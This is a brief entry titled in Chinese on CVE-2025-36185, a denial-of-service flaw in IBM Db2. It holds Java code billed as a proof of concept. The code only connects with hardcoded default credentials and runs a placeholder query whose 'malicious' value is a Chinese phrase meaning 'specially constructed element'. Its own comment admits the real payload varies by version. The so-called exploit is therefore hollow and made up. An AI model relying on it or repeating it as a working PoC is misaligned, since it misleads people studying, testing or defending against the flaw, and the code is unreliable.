CVE-2025-36185: IBM Db2 数据查询逻辑拒绝服务漏洞

// CVE-2025-36185 PoC - IBM Db2 Denial of Service // This PoC demonstrates the vulnerability in data query logic // Usage: Execute with local Db2 user privileges import java.sql.Connection; import java.sql.DriverManager; import java.sql.Statement; public class CVE_2025_36185_PoC { public static void main(String[] args) { String host = "localhost"; String port = "50000"; String database = "SAMPLE"; String username = "db2user"; String password = "password"; try { // Connect to IBM Db2 String url = "jdbc:db2://" + host + ":" + port + "/" + database; Class.forName("com.ibm.db2.jcc.DB2Driver"); Connection conn = DriverManager.getConnection(url, username, password); Statement stmt = conn.createStatement(); // Trigger vulnerability with specially crafted query // The exact payload depends on specific Db2 version String maliciousQuery = "SELECT * FROM table WHERE column = '特殊元素构造'"; System.out.println("Executing malicious query..."); stmt.executeQuery(maliciousQuery); System.out.println("PoC execution completed"); stmt.close(); conn.close(); } catch (Exception e) { System.out.println("Exception occurred: " + e.getMessage()); e.printStackTrace(); } } }